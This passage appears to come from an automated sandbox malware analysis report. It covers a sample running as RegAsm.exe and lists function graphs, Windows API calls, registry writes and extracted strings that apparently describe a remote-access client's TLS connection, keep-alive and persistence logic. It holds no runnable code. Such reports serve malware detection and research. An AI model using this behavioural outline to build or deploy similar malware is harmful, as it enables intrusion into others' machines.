401fab call 43baac Sleep 581->597 598 415add-415ae5 call 401e8d 581->598 648 415380-41538d call 405aa6 582->648 649 415392-4153b9 call 401fab call 4135a6 582->649 597->598 598->477 648->649 655 4153c0-41577f call 40417e call 40dd89 call 41bc42 call 41bd1e call 41bb8e call 401e65 GetTickCount call 41bb8e call 41bae6 call 41bb8e * 2 call 41ba96 call 41bd1e * 5 call 40f8d1 call 41bd1e call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 649->655 656 4153bb-4153bd 649->656 782 415781 call 404aa1 655->782 656->655 783 415786-415a0a call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 782->783 901 415a0f-415a16 783->901 902 415a18-415a1f 901->902 903 415a2a-415a31 901->903 902->903 904 415a21-415a23 902->904 905 415a33-415a38 call 40b051 903->905 906 415a3d-415a6f call 405a6b call 402093 * 2 call 41b4ef 903->906 904->903 905->906 917 415a71-415a7d CreateThread 906->917 918 415a83-415a9e call 401fd8 * 2 call 401f09 906->918 917->918 918->581
                              APIs
                              • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414F7B
                              • WSAGetLastError.WS2_32(00000000,00000001), ref: 0041518C
                              • Sleep.KERNEL32(00000000,00000002), ref: 00415AD7
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep$ErrorLastLocalTime
                              • String ID: | $%I64u$5.0.0 Pro$8SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$PSG$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                              • API String ID: 524882891-2158775120
                              • Opcode ID: 19ef7ff21120ce4d864f1b3937725887b2176c6c21eb35dbedaed6ac899dd5b6
                              • Instruction ID: 324fc11d7bea0fba9c16e2c7d7b547a311b01f704130931fc4cc70caa797af2d
                              • Opcode Fuzzy Hash: 19ef7ff21120ce4d864f1b3937725887b2176c6c21eb35dbedaed6ac899dd5b6
                              • Instruction Fuzzy Hash: 22526B31A001155ACB18F732DD96AFE73769F90344F6041BFE40A761E2EF781E858A5D
                              Function 00414D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 925 414d86-414dc2 926 414dc8-414ddd GetSystemDirectoryA 925->926 927 414edd-414ee8 925->927 928 414ed3 926->928 929 414de3-414e2f call 441a3e call 441a98 LoadLibraryA 926->929 928->927 934 414e31-414e3b GetProcAddress 929->934 935 414e46-414e80 call 441a3e call 441a98 LoadLibraryA 929->935 936 414e42-414e44 934->936 937 414e3d-414e40 FreeLibrary 934->937 948 414e82-414e8c GetProcAddress 935->948 949 414ecf-414ed2 935->949 936->935 939 414e97 936->939 937->936 942 414e99-414eaa GetProcAddress 939->942 943 414eb4-414eb7 FreeLibrary 942->943 944 414eac-414eb0 942->944 947 414eb9-414ebb 943->947 944->942 946 414eb2 944->946 946->947 947->949 950 414ebd-414ecd 947->950 951 414e93-414e95 948->951 952 414e8e-414e91 FreeLibrary 948->952 949->928 950->949 950->950 951->939 951->949 952->951
                              APIs
                              • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                              • LoadLibraryA.KERNEL32(?), ref: 00414E17
                              • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                              • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                              • LoadLibraryA.KERNEL32(?), ref: 00414E76
                              • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                              • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                              • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                              • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Library$AddressFreeProc$Load$DirectorySystem
                              • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                              • API String ID: 2490988753-744132762
                              • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                              • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                              • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                              • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                              Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • connect.WS2_32(?,?,?), ref: 004048E0
                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                              • WSAGetLastError.WS2_32 ref: 00404A21
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateEvent$ErrorLastLocalTimeconnect
                              • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                              • API String ID: 994465650-2151626615
                              • Opcode ID: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                              • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                              • Opcode Fuzzy Hash: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                              • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                              Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1028 40da34-40da59 call 401f86 1031 40db83-40dba9 call 401f04 GetLongPathNameW call 40417e 1028->1031 1032 40da5f 1028->1032 1053 40dbae-40dc1b call 40417e call 40ddd1 call 402fa5 * 2 call 401f09 * 5 1031->1053 1034 40da70-40da7e call 41b5b4 call 401f13 1032->1034 1035 40da91-40da96 1032->1035 1036 40db51-40db56 1032->1036 1037 40daa5-40daac call 41bfb7 1032->1037 1038 40da66-40da6b 1032->1038 1039 40db58-40db5d 1032->1039 1040 40da9b-40daa0 1032->1040 1041 40db6e 1032->1041 1042 40db5f-40db64 call 43c0cf 1032->1042 1062 40da83 1034->1062 1044 40db73-40db78 call 43c0cf 1035->1044 1036->1044 1054 40db00-40db4c call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1037->1054 1055 40daae-40dafe call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1037->1055 1038->1044 1039->1044 1040->1044 1041->1044 1050 40db69-40db6c 1042->1050 1056 40db79-40db7e call 409057 1044->1056 1050->1041 1050->1056 1054->1062 1067 40da87-40da8c call 401f09 1055->1067 1056->1031 1062->1067 1067->1031
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LongNamePath
                              • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                              • API String ID: 82841172-425784914
                              • Opcode ID: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                              • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                              • Opcode Fuzzy Hash: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                              • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                              Function 0044AC49 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 216COMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1110 44ac49-44ac62 1111 44ac64-44ac74 call 446766 1110->1111 1112 44ac78-44ac7d 1110->1112 1111->1112 1119 44ac76 1111->1119 1114 44ac7f-44ac87 1112->1114 1115 44ac8a-44acae MultiByteToWideChar 1112->1115 1114->1115 1117 44acb4-44acc0 1115->1117 1118 44ae41-44ae54 call 434fcb 1115->1118 1120 44ad14 1117->1120 1121 44acc2-44acd3 1117->1121 1119->1112 1123 44ad16-44ad18 1120->1123 1124 44acd5-44ace4 call 457190 1121->1124 1125 44acf2-44ad03 call 446137 1121->1125 1128 44ae36 1123->1128 1129 44ad1e-44ad31 MultiByteToWideChar 1123->1129 1124->1128 1138 44acea-44acf0 1124->1138 1125->1128 1135 44ad09 1125->1135 1133 44ae38-44ae3f call 435e40 1128->1133 1129->1128 1132 44ad37-44ad49 call 448bb3 1129->1132 1140 44ad4e-44ad52 1132->1140 1133->1118 1139 44ad0f-44ad12 1135->1139 1138->1139 1139->1123 1140->1128 1142 44ad58-44ad5f 1140->1142 1143 44ad61-44ad66 1142->1143 1144 44ad99-44ada5 1142->1144 1143->1133 1147 44ad6c-44ad6e 1143->1147 1145 44ada7-44adb8 1144->1145 1146 44adf1 1144->1146 1148 44add3-44ade4 call 446137 1145->1148 1149 44adba-44adc9 call 457190 1145->1149 1150 44adf3-44adf5 1146->1150 1147->1128 1151 44ad74-44ad8e call 448bb3 1147->1151 1155 44ae2f-44ae35 call 435e40 1148->1155 1166 44ade6 1148->1166 1149->1155 1164 44adcb-44add1 1149->1164 1154 44adf7-44ae10 call 448bb3 1150->1154 1150->1155 1151->1133 1163 44ad94 1151->1163 1154->1155 1167 44ae12-44ae19 1154->1167 1155->1128 1163->1128 1168 44adec-44adef 1164->1168 1166->1168 1169 44ae55-44ae5b 1167->1169 1170 44ae1b-44ae1c 1167->1170 1168->1150 1171 44ae1d-44ae2d WideCharToMultiByte 1169->1171 1170->1171 1171->1155 1172 44ae5d-44ae64 call 435e40 1171->1172 1172->1133
                              APIs
                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044ACA3
                              • __alloca_probe_16.LIBCMT ref: 0044ACDB
                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044AD29
                              • __alloca_probe_16.LIBCMT ref: 0044ADC0
                              • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                              • __freea.LIBCMT ref: 0044AE30
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • __freea.LIBCMT ref: 0044AE39
                              • __freea.LIBCMT ref: 0044AE5E
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                              • String ID: 5}/
                              • API String ID: 3864826663-169246594
                              • Opcode ID: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                              • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                              • Opcode Fuzzy Hash: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                              • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                              Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1193 41b2c3-41b31a call 41bfb7 call 4135a6 call 401fe2 call 401fd8 call 406ae1 1204 41b35d-41b366 1193->1204 1205 41b31c-41b347 call 4135a6 call 401fab StrToIntA 1193->1205 1207 41b368-41b36d 1204->1207 1208 41b36f 1204->1208 1215 41b355-41b358 call 401fd8 1205->1215 1216 41b349-41b352 call 41cf69 1205->1216 1209 41b374-41b37f call 40537d 1207->1209 1208->1209 1215->1204 1216->1215
                              APIs
                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                                • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                              • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCurrentOpenProcessQueryValue
                              • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                              • API String ID: 1866151309-2070987746
                              • Opcode ID: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                              • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                              • Opcode Fuzzy Hash: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                              • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                              Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CountEventTick
                              • String ID: !D@$NG
                              • API String ID: 180926312-2721294649
                              • Opcode ID: 8534da9eaa12ab86249594b2047bbf4fbef179ea81602a36c7078798381233d8
                              • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                              • Opcode Fuzzy Hash: 8534da9eaa12ab86249594b2047bbf4fbef179ea81602a36c7078798381233d8
                              • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                              Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1358 404f51-404f5f 1359 404f65-404f6c 1358->1359 1360 404fea 1358->1360 1362 404f74-404f7b 1359->1362 1363 404f6e-404f72 1359->1363 1361 404fec-404ff1 1360->1361 1364 404fc0-404fe8 CreateEventA CreateThread 1362->1364 1365 404f7d-404fbb GetLocalTime call 41bb8e call 4052fd call 402093 call 41b4ef call 401fd8 1362->1365 1363->1364 1364->1361 1365->1364
                              APIs
                              • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404F81
                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404FCD
                              • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                              Strings
                              • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Create$EventLocalThreadTime
                              • String ID: KeepAlive | Enabled | Timeout:
                              • API String ID: 2532271599-1507639952
                              • Opcode ID: 27b858f6950e3623d995e23d6d4fe1d77f4f118926dc16c8cee4ff6bd928c013
                              • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                              • Opcode Fuzzy Hash: 27b858f6950e3623d995e23d6d4fe1d77f4f118926dc16c8cee4ff6bd928c013
                              • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                              Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1375 41376f-413786 RegCreateKeyA 1376 413788-4137bd call 40247c call 401fab RegSetValueExA RegCloseKey 1375->1376 1377 4137bf 1375->1377 1379 4137c1-4137cf call 401fd8 1376->1379 1377->1379
                              APIs
                              • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                              • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                              • RegCloseKey.KERNEL32(?), ref: 004137B1
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateValue
                              • String ID: pth_unenc
                              • API String ID: 1818849710-4028850238
                              • Opcode ID: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                              • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                              • Opcode Fuzzy Hash: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                              • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                              Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                              • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00404DD2
                              • CloseHandle.KERNEL32(?), ref: 00404DDB
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Create$CloseEventHandleObjectSingleThreadWait
                              • String ID:
                              • API String ID: 3360349984-0
                              • Opcode ID: 896836ce6e67791e20d0eed4e42f92f466038b3ea1b67db69a0d6ef4832fab86
                              • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                              • Opcode Fuzzy Hash: 896836ce6e67791e20d0eed4e42f92f466038b3ea1b67db69a0d6ef4832fab86
                              • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                              Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1433 448566-44857a 1434 448587-4485a2 LoadLibraryExW 1433->1434 1435 44857c-448585 1433->1435 1437 4485a4-4485ad GetLastError 1434->1437 1438 4485cb-4485d1 1434->1438 1436 4485de-4485e0 1435->1436 1441 4485bc 1437->1441 1442 4485af-4485ba LoadLibraryExW 1437->1442 1439 4485d3-4485d4 FreeLibrary 1438->1439 1440 4485da 1438->1440 1439->1440 1443 4485dc-4485dd 1440->1443 1444 4485be-4485c0 1441->1444 1442->1444 1443->1436 1444->1438 1445 4485c2-4485c9 1444->1445 1445->1443
                              APIs
                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                              • GetLastError.KERNEL32(?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LibraryLoad$ErrorLast
                              • String ID:
                              • API String ID: 3177248105-0
                              • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                              • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                              • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                              • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                              Function 0044F119 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                              • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                              • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CodeInfoPageValid
                              • String ID: 5}/
                              • API String ID: 546120528-169246594
                              • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                              • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                              • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                              • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                              Function 0044EDC4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                              Download Yara Rule
                              APIs
                              • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Info
                              • String ID: $5}/
                              • API String ID: 1807457897-1202910909
                              • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                              • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                              • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                              • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                              Function 004484CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                              • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressProc__crt_fast_encode_pointer
                              • String ID: 5}/
                              • API String ID: 2279764990-169246594
                              • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                              • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                              • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                              • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                              Function 00448BB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448C24
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: String
                              • String ID: LCMapStringEx$5}/
                              • API String ID: 2568140703-2650053030
                              • Opcode ID: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                              • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                              • Opcode Fuzzy Hash: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                              • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                              Function 00448A84 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0044BF4F,-00000020,00000FA0,00000000,00467378,00467378), ref: 00448ACF
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CountCriticalInitializeSectionSpin
                              • String ID: InitializeCriticalSectionEx$5}/
                              • API String ID: 2593887523-2650512606
                              • Opcode ID: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                              • Instruction ID: 658be74961f29c719de8c28810f5b4ff6aac6a213607643c1e3aaf487ccb6ecc
                              • Opcode Fuzzy Hash: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                              • Instruction Fuzzy Hash: 12F0E235640208FBCF019F51DC06EAE7F61EF48722F10816AFC096A261DE799D25ABDD
                              Function 00448710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30memoryCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
